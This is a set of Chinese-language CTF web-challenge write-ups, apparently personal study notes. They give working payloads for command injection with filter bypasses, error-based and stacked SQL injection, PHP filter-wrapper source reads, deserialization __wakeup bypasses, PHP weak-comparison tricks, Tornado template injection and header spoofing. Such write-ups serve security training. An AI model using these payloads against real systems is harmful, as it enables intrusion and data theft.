[GXYCTF2019]Ping Ping Ping
web的命令注入
这个页面后台可能执行 ping -c 4 [你的输入] 的系统命令
首先,先试试能不能拼接
payload:?ip=127.0.0.1;ls
一旦找到了 flag 文件的位置,尝试读取它。注意,如果是 .php 文件,内容可能在源代码中 ,页面上可能看不到输出,需要右键点击"查看网页源代码"
payload:?ip=127.0.0.1;cat flag.php
直接探测,看看能不能找到flag,找不到,就看看它过滤啥,我试了空格过滤还有flag过滤,都不行。
第一步不是看到俩文件吗,另一个文件index.php,里面应该就是它的绕过规则,看看能不能看这个文件内容

拿到这个文件内容,就可以编写payload了
payload:?ip=127.0.0.1;a=g;catIFS9fla$a.php

空格绕过: 使用了 IFS9。
符号绕过: 没有使用被禁用的 *、( 等符号。
关键字绕过: * Payload 里的字符顺序是:i, p, 1, 2, 7..., a, =, g, c, a, t, f, l, a。
由于我们先定义了 a=g,字符 g 出现在了 f, l, a 之前。
正则 .*f.*l.*a.*g.* 匹配不到这个顺序。
[SUCTF 2019]EasySQL
第一、先看是啥注入,发现是数字注入

后端代码可能是这个:
select $_POST['query'] || flag from Flag;
第二、**payload1:**1;set sql_mode=PIPES_AS_CONCAT;select 1
1.默认模式: 它表示 "逻辑或" (OR)。1 || flag 的结果是 1。
PIPES_AS_CONCAT 模式: 它表示 "字符串连接" (CONCAT)。1 || flag 的结果是 "1" + "flag内容"。
- 这个 Payload 由三部分组成,通过 堆叠注入 依次执行:
第一步:1;
作用: 闭合掉后端原本查询语句的第一部分。
现状: 虽然原本的查询被打断了,但因为有了分号,我们可以开始写第二条指令。
第二步:set sql_mode=PIPES_AS_CONCAT;
原理: 强制修改当前数据库连接的模式。告诉数据库:"从现在开始,如果你看到 ||,别把它当成'逻辑或',给我把它当成'字符串拼接'。"
第三步:select 1
作用: 开启一个新的查询,并利用后端的"强行拼接"。
执行逻辑: 后端代码会自动把这个 select 1 拼接成:select 1 || flag from Flag;
最终效果: 因为刚才已经改了模式,这条语句现在等同于:select CONCAT(1, flag) from Flag;
第二、payload:*,1
扩充列。既然我不知道 flag 叫什么,我就用 * 把所有列全查出来。

[极客大挑战 2019]LoveSQL
首先,先尝试万能密码
admin' or 1=1 #

我以为秒了,实则不然,md5啥都解密不出来,直接提交,或者加个flag{}还不行
然后先查库名
admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#

此时已经触发报错注入
再查表名,
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
limit 1,1可以查下一个表名,它就俩表,第一个表里面只有管理员admin的账号密码,而第二个表里面有flag

再查列名
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='l0ve1ysq1' limit 0,1),0x7e),1)#
就只有三列,id、username、password

再查列里面的内容
1' and updatexml(1,concat(0x7e,(select password from l0ve1ysq1 limit 0,1),0x7e),1)#
开始查了password前几个和username前几个,都没找到flag,id前几个都是数字,我以为这个表里面没有呢,就去查第一个表,发现更没有,然后又回来查这个表,我先查这个表一共有多少行
1' and updatexml(1,concat(0x7e,(select count(*) from l0ve1ysq1),0x7e),1)#
发现有16行

直接查password最后一行的数据

终于拿到flag了,但是发现不全
1' and updatexml(1,concat(0x7e,(select mid(password,32,30) from l0ve1ysq1 limit 15,1),0x7e),1)#
mid(password, 32, 30) :意思是"从 password 字段的第 32 个字符开始,向后读取 30 个字符"。
拼接一下,得到最终flag
[极客大挑战 2019]Secret File

这种题,我先看我的插件,发现有个./Archive_room.php路径
当然源代码里也有

进入页面之后,发现可以点击进入这个红色的按钮,这个红色按钮是个带重定向的超链接,直接带我去end.php页面,但是中间有个action.php的页面
先使用 PHP 伪协议读取源码
payload:/action.php?file=php://filter/read=convert.base64-encode/resource=flag.php

发现还是看不到,然后我决定要用bp抓包

发现这个页面,把第一步尝试的action.php换成secr3t.php

然后得到一长串的base64编码
解码得到flag

[极客大挑战 2019]Http
首先从源代码中发现,Secret.php文件

点击跳转到这个页面

这句话说的意思是请求来源不对,所以要伪造 Referer,hacker和Burp Suite都可以去修改,我用的是hacker

这句话是请使用Syclover这个浏览器,服务器通过检查 User-Agent 请求头来判断你使用的是什么浏览器。你需要把它改成题目要求的值。

这句话说你只能在本地读它,伪造本地 IP,通过修改X-Forwarded-For:127.0.0.1,最后拿到flag

[极客大挑战 2019]Knife

直接用蚁剑连接

随便翻翻就拿到flag了

[极客大挑战 2019]PHP
只要提到备份就和源码泄露有关系
程序员在备份时经常会直接在文件名后面加后缀,或者生成压缩包。你可以尝试在 URL 后面拼接以下路径:
常见的备份文件名:
index.php.bak
index.php.swp(Vim 异常退出产生的交换文件)
index.php~
.index.php.swp
常见的压缩包备份:
www.zip / www.tar.gz / www.rar / www.7z
web.zip
code.zip
backup.zip / bak.zip
这道题是压缩包备份www.zip

我以为直接就在flag.php里面呢,实则不然
php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
__wakeup() 绕过,即使你传入 admin,反序列化时它也会强行把你变成 guest。
绕过方法 :在 PHP5 < 5.6.25 或 PHP7 < 7.0.10 中,如果序列化字符串中表示对象属性个数的数字大于真实的属性个数,就会跳过 __wakeup() 的执行。
私有属性的序列化格式,username 和 password 是 private 属性。
格式要求:私有属性序列化后,键名会变成 \0Name\0username(\0 是空字节)。手动构造很麻烦,建议用脚本生成。
编写payload的脚本:
php
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$a = new Name();
$res = serialize($a);
// 1. 原始序列化结果:
// O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
// 注意:上面的 Name 左右其实有不可见的 \0 字节
// 2. 绕过 __wakeup:将对象属性个数 2 改为 3 (或者大于 2 的任何数)
$res = str_replace(':2:', ':3:', $res);
echo urlencode($res);
?>
如果没有本地环境,可以使用在线php环境运行

现在去找到代码中 unserialize() 函数接收的参数名,然后把这串 Payload 通过 URL 传给服务器

在这个代码中,发现是select
**最终payload:**index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

[ACTF2020 新生赛]BackupFile
这题还是源码泄露,同上一题,这个文里面件在index.php.bak
php
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
分析源代码,发现是php弱类型比较
漏洞点:字符串转整数的规则
在 PHP 中,当一个 整数 和一个 字符串 使用 ==(弱等于)进行比较时,PHP 会尝试将字符串转换为整数,然后再进行比较。
转换规则: PHP 会从字符串的开头开始找数字,直到遇到第一个非数字字符为止。
payload:?key=123

[极客大挑战 2019]BuyFlag
右上角发现payflag

点进去得到一个页面

全是英文,我根本看不懂,直接查看源代码
它的目的是让你输入一个既不是数字 ,但在逻辑判断中又等于 404 的字符串。还是php弱类型比较
要传俩个参数,第一个money,第二个password,俩个都是post传参
还有就是Only Cuit's students can buy the FLAG
要把cooking里user的值改为1
我用hackbar一直失败,我一直以为参数问题,后面去找其他师傅的wp,才发现要先用hackbar把前端框架搭好 ,BurpSuite 在后端把数据发准。
在浏览器控制台修改 Cookie 后,有时候浏览器并不会立即在你点击 HackBar 的瞬间把新 Cookie 塞进包里。这个就是我一直拿不到flag的原因,给我急哭了
以后做题如果"没反应",第一时间看 BurpSuite 里的 Response(响应) 。有时候 Flag 已经发回来了,只是浏览器没渲染出来,但在 Burp 的 Raw 视图里它是藏不住的!

[BJDCTF2020]Easy MD5

看源码,在网络中,看到Hint
select * from 'admin' where password=md5($pass,true)
然后md5绕过
输入ffifdyop,再提交,就可以到另一个页面,我用的是ffifdybz,我在想为啥一直失败呢,我还用bp抓包,也不行,后面找了篇wp才成功
流量特征拦截:你之前抓包看到的那些 1.1.1.3 干扰代码说明你的网络环境(如校园网或运营商)有 WAF 或流量审查。ffifdybz 是一个非常经典的攻击特征码,可能已经被列入了防火墙的"黑名单"。
黑名单绕过:ffifdyop 虽然效果一样,但因为它的字符序列不同,恰好躲过了拦截逻辑的扫描。

看源码,得到

它通过 GET 方式接收两个参数 a 和 b,变量 a 不等于 b,但是它们的 MD5 值必须"相等"。
注意这里使用的是 ==(弱等于),这就是突破口。
数组绕过直接在URL后面拼接:?a[]=1&b[]=2
md5(Array) -> NULL。由于 NULL == NULL 成立,逻辑直接绕过。

虽然比较符从 == 变成了 ===,但 md5() 函数无法处理数组的特性依然存在。
原理:md5(Array) 在 PHP 中会返回 NUL,NULL === NULL 结果为真。
浏览器插件 HackBar 发送一个 POST 请求:
Body: param1[]=1¶m2[]=2

[护网杯 2018]easy_tornado
为了去读取 /fllllllllllllag,因此你需要构造一个合法的 filehash。
根据公式:filehash = md5(cookie_secret + md5('/fllllllllllllag'))
这个规则在hints.txt里面
第一步、用在线md5网站,先把这个文件的md5求出来

第二步、去找到cookie_secret这个值
在 Tornado 框架中,handler.settings 对象存储了当前应用的配置。
访问:/error?msg={{handler.settings}}

第三步,求filehash,这个不能用在线网站求解,用py脚本
exp:
python
import hashlib
def get_md5(data):
return hashlib.md5(data.encode()).hexdigest()
# 替换成你页面上获取的真实 cookie_secret
cookie_secret = "3eeb9fdd-3149-4e70-9b44-5b36e5c3c26a"
# 第一步计算 filename 的 md5
filename_md5 = "3bf9f6cf685a6dd8defadabfb41a03a1"
# 第二步拼接并计算最终 hash
# 注意:中间没有加号,就是直接连起来
final_hash = get_md5(cookie_secret + filename_md5)
print(f"最终的 filehash 是: {final_hash}")

payload:/file?filename=/fllllllllllllag&filehash=734d97b41fbeb0419928f151760dc7d3

[MRCTF2020]Ez_bypass
CTRL+U查看源代码

**首先是:**if (md5(id) === md5(gg) && id !== gg)
这里使用了 ===(强等于),意味着不仅值要相等,类型也要相等。普通的"0e"开头的哈希绕过(弱等于)在这里没用。
绕过方法:数组绕过
PHP 的 md5() 函数无法处理数组,如果传入一个数组,函数会返回 NULL 并触发一个警告。
md5(['a']) 的结果是 NULL
md5(['b']) 的结果也是 NULL
因为 NULL === NULL 成立,且 ['a'] !== ['b'] 成立,逻辑被成功绕过。
GET 参数构造:?id[]=1&gg[]=2
**其次是:**绕过 is_numeric 与 == 的矛盾
php
if (!is_numeric($passwd)) { // 不能是数字或数字字符串
if ($passwd == 1234567) { // 但值又要等于 1234567
// 成功拿到 flag
}
}
这是一个典型的 PHP 弱类型比较 问题。
绕过方法:数字+字母
当 PHP 使用 == 比较一个数字和一个字符串时,它会将字符串转换为数字。转换规则是:从字符串开头开始找,直到遇到非数字字符为止。
如果我们输入 1234567a:
is_numeric("1234567a") 返回 false(因为它包含字母 'a'),满足第一个条件。
"1234567a" == 1234567 比较时,PHP 将 "1234567a" 转换为整数 1234567,满足第二个条件。
POST 参数构造: passwd=1234567a**(或者在后面加空格、%00 等非数字字符)**
直接用hackbar

[ZJCTF 2019]NiZhuanSiWei
第一步,绕过 file_get_contents
代码逻辑:if(isset(text) \&\& (file_get_contents(text,'r')==="welcome to the zjctf"))
这里要求变量 $text 指向的文件内容必须等于指定的字符串。因为我们通常无法在服务器上直接创建一个文件,所以需要使用 PHP 伪协议
payload:?text=data://text/plain,welcome to the zjctf

第二步,读取隐藏的源码 (useless.php)
由于代码中直接 include($file),如果 useless.php 只是一个定义类的脚本,它不会在页面上显示任何内容。你需要通过 Base64 编码 的方式把它"读"出来
在上个url下加上这个
payload:&file=php://filter/read=convert.base64-encode/resource=useless.php

第三步,当你拿到 useless.php 的 Base64 源码并解码后,你会看到一个 PHP 类

用在线网站,和随波逐流都解不出来,只能用
容错极强
自动忽略空白
自动补 padding
支持 Raw Binary
不乱改字符集
不会过滤 PHP 标签
支持流水线处理
的CyberChef了
CyberChef 本质上不是"简单解码网站",而是专业数据流处理工具
第四步,生成序列化字符串
php
<?php
class Flag {
// 使用 filter 协议将 flag.php 的内容转为 base64,防止被浏览器解析或被过滤
public $file = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$obj = new Flag();
echo serialize($obj);
?>
完整的payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

最后拿到flag

